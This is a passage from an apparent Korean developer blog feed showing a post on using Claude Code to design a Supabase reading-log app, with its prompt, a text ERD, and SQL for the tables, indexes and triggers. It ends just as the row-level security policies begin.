&lt;p&gt;가능합니다. GitHub Copilot, Cursor 등도 비슷한 작업을 할 수 있습니다. 다만 Claude Code는 &lt;strong&gt;프로젝트 전체 컨텍스트를 이해&lt;/strong&gt;하고 파일 간의 관계를 파악하는 데 강점이 있어서, 이 시리즈에서는 Claude Code를 중심으로 설명했습니다.&lt;/p&gt;
&lt;h3&gt;Q2. Supabase 무료 플랜으로 실제 서비스 운영이 가능한가요?&lt;/h3&gt;
&lt;p&gt;사이드 프로젝트 수준이라면 충분합니다. 무료 플랜은 500MB 데이터베이스, 1GB 파일 스토리지, 50,000 월간 활성 사용자를 제공합니다. 다만 프로젝트가 7일간 비활성 상태면 일시 중지되므로, 실제 서비스 운영 시에는 Pro 플랜(월 $25)을 고려하세요.&lt;/p&gt;
&lt;h3&gt;Q3. AI가 생성한 코드의 품질은 믿을 만한가요?&lt;/h3&gt;
&lt;p&gt;&quot;초안&quot;으로는 훌륭하지만, &lt;strong&gt;프로덕션에 바로 쓰기에는 부족한 경우가 많습니다.&lt;/strong&gt; 특히 에러 처리, 엣지 케이스, 보안(RLS 정책) 부분은 반드시 직접 검토하세요. AI를 &quot;주니어 개발자&quot;라고 생각하면 됩니다 — 빠르게 코드를 짜지만, 시니어의 리뷰가 필요한 수준입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분도 AI와 함께 사이드 프로젝트를 만들어보고 계신가요? 어떤 도구를 쓰고, 어떤 점이 좋았는지 댓글로 공유해주세요!&lt;/p&gt;
&lt;p&gt;다음 포스팅에서는 &quot;&lt;strong&gt;Vercel + GitHub Actions로 자동 배포 파이프라인 구축하기&lt;/strong&gt;&quot;를 주제로, 만든 앱을 세상에 공개하는 과정을 다뤄보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[설계는 AI에게 맡겨라 — ERD, API, 와이어프레임 자동화]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "코드부터 짜고 싶은 충동, 이해합니다. 하지만 설계 없이 시작한 프로젝트의 결말은 대부분 같습니다." 지난 포스팅에서 AI와 함께 아이디어를 검증하고 PRD…]]></description><link>https://blog.javapark.kr/02-ai-design/</link><guid isPermaLink="false">https://blog.javapark.kr/02-ai-design/</guid><pubDate>Sat, 04 Apr 2026 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;코드부터 짜고 싶은 충동, 이해합니다. 하지만 설계 없이 시작한 프로젝트의 결말은 대부분 같습니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난 포스팅에서 AI와 함께 아이디어를 검증하고 PRD를 작성하는 과정을 다뤘습니다. 이번에는 그다음 단계인 &lt;strong&gt;설계&lt;/strong&gt;를 AI에게 맡기는 방법을 공유합니다. ERD, API 명세, 와이어프레임, 프로젝트 구조까지 — Claude Code 하나로 해결하는 과정을 보여드리겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;설계를 건너뛰면 생기는 일&lt;/h2&gt;
&lt;p&gt;1인 개발자가 가장 흔히 하는 실수 중 하나는 &quot;&lt;strong&gt;일단 코드부터 짜자&lt;/strong&gt;&quot;입니다. 저도 수없이 겪었습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;테이블 하나 추가하려니 기존 구조와 충돌&lt;/li&gt;
&lt;li&gt;API 엔드포인트 네이밍이 중구난방&lt;/li&gt;
&lt;li&gt;화면을 만들다 보니 필요한 데이터가 빠져 있어서 DB 수정&lt;/li&gt;
&lt;li&gt;결국 전체 리팩토링 — 사실상 처음부터 다시 만들기&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;설계에 &lt;strong&gt;2-3시간만 투자&lt;/strong&gt;하면, 개발 과정에서 수십 시간을 아낄 수 있습니다. 그리고 이제는 그 2-3시간마저 AI가 크게 줄여줍니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ERD 설계 — Claude Code에게 데이터베이스 설계 맡기기&lt;/h2&gt;
&lt;h3&gt;프롬프트: Supabase 테이블 설계 요청&lt;/h3&gt;
&lt;p&gt;Claude Code에 아래와 같이 요청합니다. 핵심은 &lt;strong&gt;지난 포스팅에서 만든 PRD를 컨텍스트로 함께 전달&lt;/strong&gt;하는 것입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;이 PRD를 기반으로 Supabase(PostgreSQL) 데이터베이스를 설계해줘.

요구사항:
- users, books, reading_records, memos 테이블
- Supabase Auth의 auth.users와 연동
- RLS(Row Level Security) 정책 포함
- created_at, updated_at 자동 관리
- 적절한 인덱스 포함

결과물:
1. ERD (텍스트 기반)
2. Supabase SQL (테이블 생성 + RLS + 인덱스)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Claude Code가 생성한 ERD&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;┌─────────────────┐     ┌──────────────────────┐
│     profiles     │     │        books          │
├─────────────────┤     ├──────────────────────┤
│ id (uuid, PK)   │──┐  │ id (uuid, PK)         │
│ username         │  │  │ isbn (varchar, UQ)     │
│ avatar_url       │  │  │ title                  │
│ created_at       │  │  │ author                 │
│ updated_at       │  │  │ publisher              │
└─────────────────┘  │  │ cover_image_url        │
                      │  │ page_count             │
                      │  │ published_date         │
                      │  │ description            │
                      │  │ created_at             │
                      │  └──────────────────────┘
                      │
                      │  ┌──────────────────────┐
                      │  │   reading_records      │
                      │  ├──────────────────────┤
                      ├──│ user_id (uuid, FK)     │
                      │  │ book_id (uuid, FK)     │
                      │  │ status (enum)          │
                      │  │ start_date             │
                      │  │ end_date               │
                      │  │ rating (1-5)           │
                      │  │ created_at             │
                      │  │ updated_at             │
                      │  └──────────────────────┘
                      │
                      │  ┌──────────────────────┐
                      │  │       memos            │
                      │  ├──────────────────────┤
                      └──│ user_id (uuid, FK)     │
                         │ book_id (uuid, FK)     │
                         │ content (text)         │
                         │ page_number (int)      │
                         │ memo_type (enum)       │
                         │ created_at             │
                         │ updated_at             │
                         └──────────────────────┘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Supabase SQL — 테이블 생성&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- 1. 커스텀 타입 정의&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TYPE&lt;/span&gt; reading_status &lt;span class=&quot;token keyword&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ENUM&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;want_to_read&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;reading&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;finished&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TYPE&lt;/span&gt; memo_type &lt;span class=&quot;token keyword&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ENUM&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;note&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;quote&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;review&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- 2. profiles 테이블 (Supabase Auth 연동)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; profiles &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;users&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  username &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  avatar_url &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  updated_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- 3. books 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; books &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id UUID &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; gen_random_uuid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  isbn &lt;span class=&quot;token keyword&quot;&gt;VARCHAR&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  title &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  author &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  publisher &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  cover_image_url &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  page_count &lt;span class=&quot;token keyword&quot;&gt;INTEGER&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  published_date &lt;span class=&quot;token keyword&quot;&gt;DATE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  description &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- 4. reading_records 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; reading_records &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id UUID &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; gen_random_uuid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  user_id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; profiles&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  book_id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; books&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;status&lt;/span&gt; reading_status &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;want_to_read&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  start_date &lt;span class=&quot;token keyword&quot;&gt;DATE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  end_date &lt;span class=&quot;token keyword&quot;&gt;DATE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  rating &lt;span class=&quot;token keyword&quot;&gt;SMALLINT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CHECK&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rating &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;AND&lt;/span&gt; rating &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  updated_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;UNIQUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;user_id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; book_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- 5. memos 테이블&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; memos &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  id UUID &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; gen_random_uuid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  user_id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; profiles&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  book_id UUID &lt;span class=&quot;token keyword&quot;&gt;REFERENCES&lt;/span&gt; books&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DELETE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CASCADE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  content &lt;span class=&quot;token keyword&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  page_number &lt;span class=&quot;token keyword&quot;&gt;INTEGER&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  memo_type memo_type &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;note&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  created_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  updated_at TIMESTAMPTZ &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- 6. 인덱스&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; idx_reading_records_user &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; reading_records&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;user_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; idx_reading_records_status &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; reading_records&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;user_id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; idx_memos_user_book &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; memos&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;user_id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; book_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; idx_books_isbn &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; books&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;isbn&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- 7. updated_at 자동 갱신 트리거&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;REPLACE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FUNCTION&lt;/span&gt; update_updated_at&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;RETURNS&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TRIGGER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;AS&lt;/span&gt; $$
&lt;span class=&quot;token keyword&quot;&gt;BEGIN&lt;/span&gt;
  NEW&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;updated_at &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;RETURN&lt;/span&gt; NEW&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;END&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
$$ &lt;span class=&quot;token keyword&quot;&gt;LANGUAGE&lt;/span&gt; plpgsql&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TRIGGER&lt;/span&gt; profiles_updated_at
  BEFORE &lt;span class=&quot;token keyword&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; profiles
  &lt;span class=&quot;token keyword&quot;&gt;FOR EACH ROW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXECUTE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FUNCTION&lt;/span&gt; update_updated_at&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TRIGGER&lt;/span&gt; reading_records_updated_at
  BEFORE &lt;span class=&quot;token keyword&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; reading_records
  &lt;span class=&quot;token keyword&quot;&gt;FOR EACH ROW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXECUTE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FUNCTION&lt;/span&gt; update_updated_at&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TRIGGER&lt;/span&gt; memos_updated_at
  BEFORE &lt;span class=&quot;token keyword&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; memos
  &lt;span class=&quot;token keyword&quot;&gt;FOR EACH ROW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXECUTE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FUNCTION&lt;/span&gt; update_updated_at&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;RLS 정책 설정 — 보안의 핵심&lt;/h3&gt;
&lt;p&gt;Supabase에서 RLS는 선택이 아니라 필수입니다. 각 사용자가 &lt;strong&gt;자신의 데이터만 읽고 쓸 수 있도록&lt;/strong&gt; 정책을 설정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- RLS 활성화&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;ALTER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; profiles &lt;span class=&quot;token keyword&quot;&gt;ENABLE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ROW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LEVEL&lt;/span&gt; SECURITY&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
